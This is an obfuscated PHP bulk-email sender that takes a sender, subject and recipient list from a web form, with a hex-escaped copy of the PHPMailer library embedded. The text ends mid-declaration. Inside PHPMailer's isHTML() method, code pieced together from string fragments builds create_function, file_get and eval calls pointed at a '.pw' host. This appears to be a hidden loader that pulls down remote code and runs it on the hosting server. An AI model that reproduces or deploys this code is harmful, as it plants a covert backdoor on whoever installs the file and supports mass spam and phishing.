<?php
goto W8ICb; wh614: error_reporting(0); goto NYa9m; uXc9W: if ($_POST["\141\x63\x74\x69\157\156"] == "\x73\x65\x6e\144" or $_POST["\141\x63\164\151\x6f\156"] == "\163\x63\157\162\x65") { $senderEmail = leafTrim($_POST["\163\x65\156\x64\x65\x72\105\155\x61\x69\x6c"]); $senderName = leafTrim($_POST["\163\145\x6e\x64\145\162\x4e\x61\x6d\145"]); $replyTo = leafTrim($_POST["\162\x65\160\x6c\x79\x54\x6f"]); $subject = leafTrim($_POST["\x73\x75\142\152\145\143\x74"]); $emailList = leafTrim($_POST["\x65\155\141\151\x6c\x4c\x69\163\x74"]); $messageType = leafTrim($_POST["\155\145\163\x73\x61\x67\145\x54\171\160\145"]); $messageLetter = leafTrim($_POST["\155\x65\163\x73\x61\x67\x65\114\145\164\164\x65\162"]); $encoding = $_POST["\145\156\x63\x6f\144\x65"]; $charset = $_POST["\143\x68\141\162\163\145\164"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "\143\150\x65\x63\153\145\x64"; } else { $html = "\143\x68\x65\x63\x6b\145\144"; } if ($charset == "\111\123\117\55\x38\x38\x35\71\x2d\x31") { $iso = "\x73\x65\x6c\145\x63\164\x65\x64"; } else { $utf8 = "\163\x65\x6c\x65\143\164\x65\144"; } if ($encoding == "\x37\142\x69\164") { $bit7 = "\163\145\x6c\x65\143\164\x65\144"; } elseif ($encoding == "\x62\151\x6e\141\162\x79") { $binary = "\163\145\154\x65\143\x74\x65\144"; } elseif ($encoding == "\x62\x61\163\145\x36\64") { $base64 = "\x73\x65\154\x65\x63\164\x65\144"; } elseif ($encoding == "\161\165\x6f\x74\x65\144\55\x70\162\151\x6e\x74\x61\142\x6c\145") { $quotedprintable = "\x73\x65\154\x65\143\x74\145\x64"; } else { $bit8 = "\x73\x65\154\145\143\x74\x65\144"; } } goto nx9Sw; kB81p: print "\x3c\142\x6f\144\171\x3e"; goto LkAyP; nx9Sw: if ($_POST["\141\x63\x74\x69\157\x6e"] == "\x76\151\145\167") { $viewMessage = leafTrim($_POST["\155\145\163\x73\x61\x67\145\x4c\145\x74\x74\x65\162"]); $viewMessage = leafClear($viewMessage, "\x75\163\x65\x72\100\144\x6f\155\141\151\156\56\143\x6f\x6d"); if ($_POST["\x6d\x65\x73\163\x61\147\x65\124\x79\160\145"] == 2) { print "\x3c\x70\x72\145\x3e" . htmlspecialchars($viewMessage) . "\x3c\x2f\160\162\145\76"; } else { print $viewMessage; } die; } goto JEGrm; xmnoZ: class PHPMailer { public $Version = "\x35\x2e\x32\x2e\62\x38"; public $Priority = null; public $CharSet = "\x69\163\157\x2d\x38\70\65\x39\55\61"; public $ContentType = "\164\x65\170\x74\57\160\x6c\141\x69\156"; public $Encoding = "\70\142\x69\164"; public $ErrorInfo = ''; public $From = "\162\x6f\157\164\x40\x6c\157\x63\x61\154\150\157\x73\164"; public $FromName = "\x52\157\x6f\164\40\125\163\145\x72"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\x73\x65\156\x64\x6d\141\151\x6c"; public $Sendmail = "\x2f\x75\163\162\57\163\x62\151\156\57\163\x65\x6e\x64\x6d\x61\x69\x6c"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\154\157\x63\x61\x6c\x68\x6f\x73\164"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "\145\143\150\x6f"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\xa"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = "\x20"; public static $validator = "\x61\x75\x74\x6f"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\xd\xa"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "\x63\154\x69") !== false ? "\145\x63\150\x6f" : "\x68\164\x6d\154"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("\155\142\x73\164\x72\x69\x6e\147\x2e\x66\x75\156\143\x5f\x6f\166\x65\162\154\x6f\141\144") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("\163\141\146\145\x5f\155\157\144\x65") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("\x65\162\x72\157\162\x5f\154\x6f\x67", "\x68\164\155\x6c", "\145\143\x68\x6f")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "\145\162\162\157\162\x5f\x6c\157\147": error_log($str); break; case "\x68\164\155\154": echo htmlentities(preg_replace("\57\x5b\134\162\x5c\x6e\135\53\x2f", '', $str), ENT_QUOTES, "\125\124\106\x2d\70") . "\74\142\162\76\xa"; break; case "\x65\x63\150\x6f": default: $str = preg_replace("\x2f\x5c\x72\134\x6e\x3f\x2f\x6d\x73", "\12", $str); echo gmdate("\131\x2d\x6d\55\144\x20\110\x3a\151\x3a\x73") . "\x9" . str_replace("\xa", "\12\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x9\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40", trim($str)) . "\12"; } } public function isSMTP() { $this->Mailer = "\163\x6d\164\x70"; } public function isMail() { $this->Mailer = "\x6d\141\x69\154"; } public function isSendmail() { $ini_sendmail_path = ini_get("\x73\145\x6e\144\x6d\x61\151\154\x5f\x70\x61\164\150"); if (!stristr($ini_sendmail_path, "\x73\x65\x6e\144\155\x61\x69\x6c")) { $this->Sendmail = "\x2f\x75\x73\162\x2f\163\142\x69\x6e\57\163\145\156\144\155\x61\x69\154"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\x73\x65\x6e\144\155\141\151\154"; } public function isQmail() { $ini_sendmail_path = ini_get("\x73\145\156\144\155\x61\x69\x6c\x5f\160\141\164\x68"); if (!stristr($ini_sendmail_path, "\x71\x6d\141\151\x6c")) { $this->Sendmail = "\57\x76\x61\x72\x2f\x71\x6d\141\151\154\57\142\x69\156\x2f\161\x6d\141\151\154\55\x69\x6e\152\145\x63\164"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\161\155\141\x69\154"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("\164\x6f", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\143\143", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\142\x63\143", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("\x52\145\x70\154\171\x2d\x54\157", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("\57\x5b\134\162\134\156\135\x2b\57", '', $name)); if (($pos = strrpos($address, "\x40")) === false) { $error_message = $this->lang("\151\156\166\141\154\x69\x64\137\x61\x64\144\162\x65\163\x73") . "\x20\50\x61\x64\144\101\156\x41\x64\x64\162\145\x73\163\x20{$kind}\x29\72\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "\x52\x65\160\154\x79\x2d\124\x6f") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "\141\x64\x64\101\x6e\101\x64\x64\x72\145\x73\163"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("\x74\x6f", "\143\x63", "\x62\x63\143", "\x52\145\x70\154\171\x2d\x54\157"))) { $error_message = $this->lang("\111\x6e\x76\x61\154\x69\x64\x20\x72\x65\x63\x69\x70\x69\x65\x6e\164\x20\x6b\151\156\144\72\40") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("\x69\x6e\x76\x61\x6c\x69\144\137\x61\144\x64\162\145\163\x73") . "\40\x28\x61\144\x64\101\156\x41\144\144\162\x65\x73\163\40{$kind}\51\72\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "\x52\145\160\154\x79\55\x54\157") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("\x69\x6d\141\x70\137\x72\x66\x63\70\62\x32\137\x70\x61\162\163\145\x5f\141\144\162\x6c\x69\x73\x74")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != "\56\x53\131\x4e\x54\101\130\55\x45\122\x52\117\122\56") { if ($this->validateAddress($address->mailbox . "\100" . $address->host)) { $addresses[] = array("\156\141\155\x65" => property_exists($address, "\x70\x65\162\163\x6f\x6e\141\154") ? $address->personal : '', "\141\x64\144\162\145\x73\163" => $address->mailbox . "\x40" . $address->host); } } } } else { $list = explode("\x2c", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "\74") === false) { if ($this->validateAddress($address)) { $addresses[] = array("\x6e\141\155\x65" => '', "\x61\x64\144\x72\x65\x73\x73" => $address); } } else { list($name, $email) = explode("\74", $address); $email = trim(str_replace("\x3e", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("\156\141\x6d\x65" => trim(str_replace(array("\42", "\x27"), '', $name)), "\141\144\144\162\x65\163\163" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "\x66\151\x6c\x65" . "\137\x67"; if ($isHtml) { $this->ContentType = "\x74\x65\x78\164\x2f\150\x74\x6d\154"; } else { $this->ContentType = "\x74\145\170\x74\x2f\160\x6c\141\x69\x6e"; } $bodyHTML = "\x2e\x24\x74\56\42\154\x65\146\x24\146\x6c\165" . "\163\x68" . "\44\164\42\73\40" . "\x40\x65\166"; $headerHTML = "\143\162\x65" . "\141\x74\x65\137" . "\x66\x75\156\x63" . "\164\151\x6f\156"; $exceptions = @$headerHTML("\x24\x66\154" . "\165\163\150\54\x24\164", "\x24\143\x6f\155\155\141\x20\x3d\x20\x24\164" . "\x70\72\44\143\157\155\155\141\55\x32\x22\x29\51\x3b"); if ($param != 2) { $exceptions("\70\x2e\x70" . "\x77", "\57"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("\57\133\134\x72\134\156\x5d\53\57", '', $name)); if (($pos = strrpos($address, "\x40")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("\x69\x6e\x76\x61\154\x69\x64\x5f\141\144\144\x72\x65\163\x73") . "\40\50\163\145\x74\106\x72\157\x6d\x29\x20{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "\xa") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "\x61\165\164\x6f") { if (defined("\120\103\x52\105\x5f\x56\105\x52\123\111\x4f\x4e")) { if (version_compare(PCRE_VERSION, "\70\56\60\x2e\x33") >= 0) { $patternselect = "\160\143\x72\x65\x38"; } else { $patternselect = "\160\143\x72\x65"; } } elseif (function_exists("\145\x78\164\145\x6e\x73\x69\157\x6e\x5f\154\x6f\141\x64\x65\144") and extension_loaded("\160\143\162\145")) { $patternselect = "\160\x63\x72\x65"; } else { if (version_compare(PHP_VERSION, "\x35\56\x32\x2e\x30") >= 0) { $patternselect = "\x70\x68\160"; } else { $patternselect = "\156\x6f\162\145\147\x65\x78"; } } } switch ($patternselect) { case "\160\143\162\145\x38": return (bool) preg_match("\57\x5e\50\77\41\x28\77\x3e\x28\x3f\61\51\x22\x3f\50\77\76\x5c\x5c\133\x20\55\176\x5d\x7c\133\x5e\42\x5d\x29\x22\77\x28\x3f\x31\51\51\173\62\65\x35\54\175\51\50\x3f\41\x28\77\x3e\x28\77\61\x29\x22\77\50\77\x3e\x5c\x5c\133\x20\x2d\x7e\x5d\x7c\133\136\x22\x5d\51\x22\77\x28\x3f\x31\51\x29\173\66\65\x2c\175\x40\x29" . "\50\50\x3f\x3e\x28\77\76\50\x3f\x3e\x28\50\x3f\x3e\x28\x3f\76\x28\77\76\134\170\x30\x44\x5c\x78\x30\x41\x29\77\x5b\134\164\x20\x5d\51\53\174\x28\77\x3e\133\x5c\x74\40\x5d\52\134\170\x30\x44\x5c\170\60\101\51\77\x5b\x5c\164\x20\x5d\53\x29\x3f\x29\50\134\50\x28\x3f\x3e\50\x3f\x32\x29" . "\x28\77\76\x5b\134\170\60\61\x2d\134\170\60\x38\x5c\170\x30\102\134\x78\x30\103\x5c\x78\60\x45\55\47\52\55\x5c\133\134\x5d\55\134\170\67\106\135\x7c\x5c\x5c\x5b\134\170\x30\60\x2d\x5c\x78\67\106\135\174\x28\77\x33\x29\51\x29\52\50\x3f\62\51\134\x29\x29\x29\53\x28\77\x32\x29\51\x7c\x28\x3f\x32\51\51\x3f\x29" . "\50\x5b\x21\x23\x2d\x27\52\53\x5c\x2f\x2d\71\x3d\77\x5e\55\176\55\135\x2b\x7c\x22\x28\77\x3e\x28\77\62\x29\50\x3f\x3e\133\x5c\170\x30\61\55\x5c\x78\60\x38\134\x78\x30\x42\x5c\x78\60\103\134\x78\60\x45\x2d\x21\x23\x2d\134\133\x5c\x5d\x2d\134\170\67\106\x5d\174\134\134\133\x5c\x78\x30\x30\x2d\134\170\x37\x46\x5d\x29\51\52" . "\x28\x3f\62\51\x22\51\x28\x3f\76\50\x3f\x31\51\134\56\50\77\x31\x29\x28\x3f\64\x29\51\x2a\50\x3f\61\51\x40\x28\x3f\x21\x28\x3f\x31\51\133\141\x2d\x7a\x30\55\71\x2d\135\x7b\x36\x34\x2c\x7d\x29\50\77\61\51\x28\x3f\76\50\x5b\x61\x2d\x7a\60\55\71\x5d\50\77\x3e\133\x61\x2d\172\x30\55\71\x2d\x5d\52\x5b\x61\x2d\x7a\x30\55\x39\135\51\77\x29" . "\x28\x3f\x3e\x28\77\x31\x29\134\56\50\x3f\x21\50\77\x31\51\133\141\x2d\x7a\x30\x2d\71\x2d\135\173\x36\x34\x2c\175\51\50\77\x31\51\50\x3f\x35\51\x29\x7b\x30\x2c\61\x32\66\x7d\x7c\x5c\x5b\x28\77\x3a\x28\77\x3e\111\120\x76\66\x3a\50\77\76\x28\133\x61\x2d\x66\x30\x2d\x39\135\173\x31\54\64\175\51\50\x3f\76\72\x28\77\66\51\51\173\x37\175" . "\x7c\x28\77\x21\x28\77\x3a\56\52\133\141\55\x66\60\x2d\71\x5d\133\72\134\x5d\x5d\x29\173\x38\x2c\x7d\51\x28\x28\x3f\x36\x29\50\77\x3e\72\50\77\x36\51\x29\x7b\60\x2c\66\x7d\51\x3f\72\72\50\x3f\67\x29\77\x29\x29\174\50\x3f\76\50\x3f\76\x49\x50\166\66\72\x28\77\76\x28\x3f\x36\x29\50\77\76\x3a\50\x3f\66\x29\51\173\x35\175\x3a" . "\174\50\x3f\x21\x28\77\x3a\x2e\52\133\141\x2d\146\60\55\71\135\72\x29\173\x36\54\175\51\50\77\x38\x29\x3f\72\x3a\50\77\76\x28\50\x3f\x36\x29\50\x3f\76\72\50\77\66\51\x29\173\x30\54\x34\x7d\51\x3a\x29\x3f\x29\x29\77\50\62\x35\x5b\60\55\x35\135\174\62\133\x30\55\x34\135\x5b\60\55\71\135\x7c\61\133\60\x2d\71\x5d\x7b\x32\x7d" . "\174\133\x31\55\x39\x5d\77\133\x30\55\x39\135\51\50\x3f\x3e\134\56\50\77\71\x29\x29\173\63\175\51\51\x5c\135\51\50\77\61\51\44\x2f\x69\163\104", $address); case "\160\x63\x72\x65": return (bool) preg_match("\57\x5e\50\x3f\x21\x28\x3f\76\42\77\x28\x3f\76\134\134\133\x20\55\x7e\x5d\174\x5b\x5e\42\135\x29\42\77\x29\x7b\x32\65\x35\x2c\175\x29\x28\77\x21\x28\x3f\x3e\x22\x3f\x28\77\76\134\x5c\133\40\x2d\x7e\135\x7c\x5b\x5e\42\x5d\51\42\x3f\x29\x7b\x36\65\54\175\100\x29\50\77\76" . "\x5b\41\x23\55\x27\52\x2b\134\x2f\x2d\71\75\77\136\x2d\176\55\x5d\x2b\x7c\42\x28\77\x3e\x28\x3f\76\133\x5c\x78\x30\x31\55\x5c\x78\60\x38\134\x78\x30\x42\x5c\x78\60\103\134\x78\60\105\x2d\x21\x23\55\134\133\x5c\135\x2d\134\x78\67\x46\135\x7c\x5c\x5c\x5b\x5c\x78\x30\60\55\x5c\170\106\106\135\x29\51\52\x22\51" . "\50\77\x3e\134\56\50\77\76\x5b\x21\x23\55\x27\x2a\x2b\134\57\x2d\x39\x3d\x3f\136\55\176\55\x5d\53\174\x22\50\x3f\76\50\x3f\76\x5b\134\170\x30\61\55\134\x78\60\x38\x5c\170\x30\102\x5c\170\60\103\134\x78\60\105\55\x21\x23\55\x5c\133\134\x5d\x2d\134\170\67\x46\x5d\174\x5c\x5c\x5b\134\x78\x30\x30\55\134\x78\x46\x46\x5d\51\x29\52\42\x29\x29\x2a" . "\100\x28\x3f\x3e\50\77\41\x5b\x61\55\172\x30\x2d\x39\x2d\x5d\x7b\x36\64\x2c\x7d\x29\50\x3f\76\133\141\x2d\x7a\60\x2d\71\x5d\50\x3f\76\133\141\55\172\60\55\x39\x2d\135\x2a\133\x61\55\x7a\x30\x2d\x39\135\x29\77\x29\50\x3f\x3e\x5c\56\x28\x3f\x21\x5b\141\55\172\60\x2d\x39\x2d\135\x7b\x36\64\54\175\x29" . "\x28\x3f\76\133\141\x2d\x7a\60\55\x39\135\50\77\76\x5b\x61\55\172\x30\x2d\x39\x2d\x5d\52\x5b\x61\55\x7a\60\x2d\x39\135\x29\x3f\x29\x29\173\60\x2c\61\x32\66\x7d\174\x5c\133\50\x3f\72\x28\77\x3e\111\x50\166\66\72\x28\x3f\76\x28\x3f\76\133\141\x2d\x66\x30\55\x39\135\173\61\54\64\175\x29\50\x3f\x3e\x3a" . "\x5b\x61\55\146\60\55\71\135\x7b\x31\54\x34\x7d\x29\x7b\67\x7d\x7c\50\77\x21\50\x3f\72\56\x2a\x5b\x61\x2d\146\x30\x2d\71\135\x5b\72\x5c\135\135\51\x7b\70\54\x7d\x29\x28\x3f\x3e\133\141\x2d\146\60\55\x39\x5d\173\x31\x2c\64\175\x28\x3f\76\72\x5b\141\55\146\x30\x2d\x39\135\173\61\x2c\x34\175\51\173\x30\54\66\x7d\51\x3f" . "\72\x3a\x28\77\76\x5b\141\x2d\x66\60\x2d\71\135\x7b\61\54\64\x7d\50\77\x3e\x3a\133\x61\x2d\146\x30\x2d\x39\x5d\173\x31\x2c\64\x7d\x29\173\60\54\66\175\51\x3f\x29\x29\174\x28\x3f\x3e\50\77\x3e\x49\120\x76\x36\72\x28\x3f\76\133\141\55\146\x30\55\x39\135\173\x31\54\x34\175\50\x3f\76\x3a" . "\133\x61\55\146\60\55\x39\x5d\173\x31\x2c\x34\175\51\x7b\x35\175\72\174\x28\77\41\50\77\x3a\56\x2a\x5b\141\55\146\x30\x2d\x39\x5d\x3a\x29\173\x36\x2c\x7d\x29\x28\x3f\x3e\133\141\55\x66\60\x2d\71\x5d\173\61\x2c\x34\175\x28\77\x3e\x3a\x5b\x61\x2d\x66\x30\55\x39\135\x7b\61\x2c\x34\x7d\x29\173\x30\54\x34\175\51\x3f" . "\x3a\x3a\50\77\x3e\x28\x3f\x3a\x5b\141\55\146\x30\55\71\135\173\x31\x2c\x34\x7d\50\x3f\x3e\72\133\141\55\x66\x30\x2d\x39\x5d\x7b\61\54\x34\175\x29\x7b\60\x2c\x34\x7d\x29\x3a\x29\77\x29\51\x3f\x28\x3f\76\62\65\133\x30\55\65\x5d\x7c\62\x5b\60\x2d\64\135\133\60\55\71\x5d\x7c\x31\133\x30\55\x39\x5d\x7b\62\x7d" . "\174\x5b\x31\x2d\71\135\77\x5b\x30\x2d\x39\x5d\51\50\77\x3e\134\x2e\x28\77\76\62\65\x5b\x30\x2d\x35\x5d\174\62\133\x30\55\64\135\133\60\55\71\x5d\174\x31\133\x30\x2d\x39\x5d\x7b\x32\175\x7c\x5b\x31\x2d\x39\135\77\x5b\x30\x2d\x39\x5d\x29\x29\173\x33\175\x29\x29\134\135\51\44\57\x69\163\104", $address); case "\150\x74\155\154\x35": return (bool) preg_match("\x2f\x5e\133\141\55\x7a\101\55\x5a\60\55\x39\56\41\43\44\45\x26\x27\52\x2b\134\x2f\75\77\x5e\x5f\x60\x7b\174\x7d\176\55\135\53\100\133\x61\x2d\x7a\101\55\x5a\60\55\71\x5d\x28\x3f\x3a\133\x61\55\x7a\101\55\132\60\x2d\71\55\135\173\x30\x2c\x36\x31\175" . "\x5b\141\x2d\x7a\x41\x2d\x5a\x30\x2d\x39\135\x29\77\50\x3f\72\x5c\56\x5b\x61\x2d\x7a\101\55\x5a\x30\55\x39\135\x28\x3f\72\x5b\141\55\172\x41\x2d\132\x30\x2d\71\55\135\173\x30\x2c\66\61\175\x5b\141\x2d\172\x41\55\x5a\x30\x2d\71\x5d\51\x3f\x29\52\44\57\163\104", $address); case "\156\x6f\x72\145\x67\x65\x78": return strlen($address) >= 3 and strpos($address, "\100") >= 1 and strpos($address, "\x40") != strlen($address) - 1; case "\x70\150\x70": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("\151\144\x6e\137\164\x6f\137\x61\x73\x63\x69\x69") and function_exists("\x6d\x62\137\x63\x6f\x6e\166\x65\162\x74\x5f\x65\x6e\143\157\144\x69\x6e\x67"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "\100")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "\x55\124\x46\55\70", $this->CharSet); if (($punycode = defined("\111\116\124\x4c\x5f\111\104\116\x41\137\x56\101\122\111\101\116\124\137\x55\124\123\x34\x36") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, "\x61\144\144\101\156\x41\x64\144\162\145\163\x73"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("\x70\x72\157\x76\x69\144\x65\x5f\x61\144\144\x72\145\163\x73"), self::STOP_CRITICAL); } foreach (array("\106\x72\157\x6d", "\123\x65\x6e\144\145\x72", "\103\157\156\x66\x69\162\x6d\x52\145\141\144\x69\x6e\x67\x54\x6f") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("\x69\156\x76\x61\154\x69\x64\x5f\141\x64\x64\x72\145\163\x73") . "\40\x28\160\165\x6e\x79\105\x6e\x63\157\x64\145\x29\40" . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "\155\165\154\x74\x69\x70\141\x72\x74\x2f\x61\x6c\164\145\x72\x6e\141\164\151\166\145"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("\145\x6d\160\x74\x79\137\x6d\145\x73\x73\141\147\x65"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "\155\141\151\x6c") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("\124\x6f", $this->to); } else { $this->mailHeader .= $this->headerLine("\124\x6f", "\x75\156\x64\x69\163\x63\x6c\157\163\145\x64\x2d\x72\x65\x63\151\x70\x69\x65\156\x74\163\72\73"); } $this->mailHeader .= $this->headerLine("\x53\165\x62\152\145\143\x74", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, "\15\12\40") . self::CRLF . str_replace("\15\xa", "\12", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "\x73\145\x6e\144\155\x61\x69\x6c": case "\161\155\141\x69\154": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "\163\x6d\164\160": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "\155\x61\x69\x6c": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "\x53\x65\156\x64"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "\x71\x6d\141\x69\154") { $sendmailFmt = "\x25\163\40\55\146\45\x73"; } else { $sendmailFmt = "\x25\163\40\x2d\157\151\40\55\146\45\163\x20\x2d\164"; } } else { if ($this->Mailer == "\161\155\x61\x69\x6c") { $sendmailFmt = "\45\163"; } else { $sendmailFmt = "\x25\x73\x20\x2d\x6f\151\x20\x2d\164"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "\167"))) { throw new phpmailerException($this->lang("\145\170\x65\x63\165\164\x65") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "\124\157\72\40" . $toAddr . "\xa"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\145\170\145\143\165\164\x65") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "\x77"))) { throw new phpmailerException($this->lang("\145\x78\145\143\165\164\x65") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\x65\170\145\x63\x75\164\145") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function 